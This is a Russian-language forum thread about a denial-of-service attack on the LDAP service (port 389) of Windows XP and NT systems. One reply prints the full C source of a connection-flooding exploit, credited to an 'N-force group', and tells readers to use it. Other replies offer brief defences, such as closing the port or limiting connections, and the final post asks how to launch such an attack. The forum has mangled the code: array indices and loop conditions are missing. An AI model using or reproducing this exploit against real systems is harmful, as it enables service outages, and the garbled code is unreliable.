Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
ДОС на LDAP
 
Где-то видел, что если по 2000 соединениям послать на 389 порт какую-нибудь лабуду то LDAP уйдет в даун. Написал реализацию этой идеи(элементраная прога создает 2000сокетов, конектится по ним и отсылает любую строку). Блин работает... Кстати в сети потом уже нашел небольшую статью с исходником. Хотел спросить кто-нибудь знает как от этой дос атаки зашитится?
Спасибо...
 
Ты наверное что то путаешь. LDAP устанавливается только на контроллерах домена или на каком нибуть Exchange. Защита - установить все патчи.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
 
DoS-атака на Windows XP.

Реализация LDAP-протокола в Windows XP

Была обнаружена уязвимость в операционной системе Windows XP. Новая атака не влечет за собой фатальных последствий типа «зависания» или перезагрузки, но способна вызвать существенную загрузку процессора. На сей раз объектом нападок стала реализация LDAP-протокола в Windows XP. Идея чрезвычайно проста: в 389-й порт посылается большое количество TCP/IP пакетов, после чего данный сервис умирает.

Данный протокол по умолчанию установлен в Windows XP и предыдущих версиях NT'ей. Поэтому большинство компьютеров с данными системами и активным протоколом уязвимы.

Ниже идёт простой эксплоит, реализация под Windows.

//---------------------------
/*
* Windows XP LDAP DoS
*
* Run: ./d0s ip
*
* Lightweight Directory Access Protocol (LDAP)
* The primary access protocol for Active Directory.
* Denial of Service Exploit
*
* Author: sl0n
* Email: mailto:bigafroelephant@mail.ru
* team: N-force group
*
*/

#include
#include

int main(int argc, char *argv[])
{
sockaddr_in peer;
int port,i;
int num_socks=2512;
int sockfd[2512];
char *send_buffer="sl0n";
char *addr=argv[1];
WSADATA winSockData;

printf("::WinXP DoS by n-force groUp::\n");
if ( argc < 2 )
{
printf(" -- Usage: d0s [ip] \n");
return -1;
}

port=389;

/****** INIT **********/

WSACleanup();
WSAStartup(0x0101, &winSockData);

/********************/

peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(addr);

for(i=0; i{
if( (sockfd[I]=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("::Error creating socket::");
exit(1);
}
}

for(i=0; i{
if( connect(sockfd[I],(sockaddr*)&peer, sizeof(peer))==-1)
{
printf("::Failed t0 connect [maybe attack was g00d]::\n");
exit(1);
}
}

for(i=0; i{

if(send(sockfd[I],send_buffer,strlen(send_buffer),0) ==-1)
{
printf("::Error sending packet::");
exit(1);
}
}
for(i=0; i{
closesocket(sockfd[I]);
}

WSACleanup();
exit(0);

}
//---------------------------

В данном эксплоите в начале создаётся 2512 сокетов, потом они все соединяются с жертвой, на порт 389. После этого в этот порт посылаеся смертельный пакет по сути говоря это слово "sl0n". Cо временем данный эксплоит будет реализован и под GUI интерфейс. А пока пользуйтесь этим если он вас чем-то не устраивает напишите свой.

Для компиляции рекомендую использовать Borland С .


а как защитится, хз..  :}
 
Как защититься? Да закрой этот порт, на фиг!
 
Можно ограничить число соединений
 
программа криво выводится в конференции:(
в программе квадратные скобки все пропали после sockfd, да и записи типа "for(i=0; i{" тоже кривые. Жалко что нельзя HTML тег <pre> вставлять в сообщение.
 
Обьясните по подробней как где и что делать чтобы пустить дос атаку!
Страницы: 1
Читают тему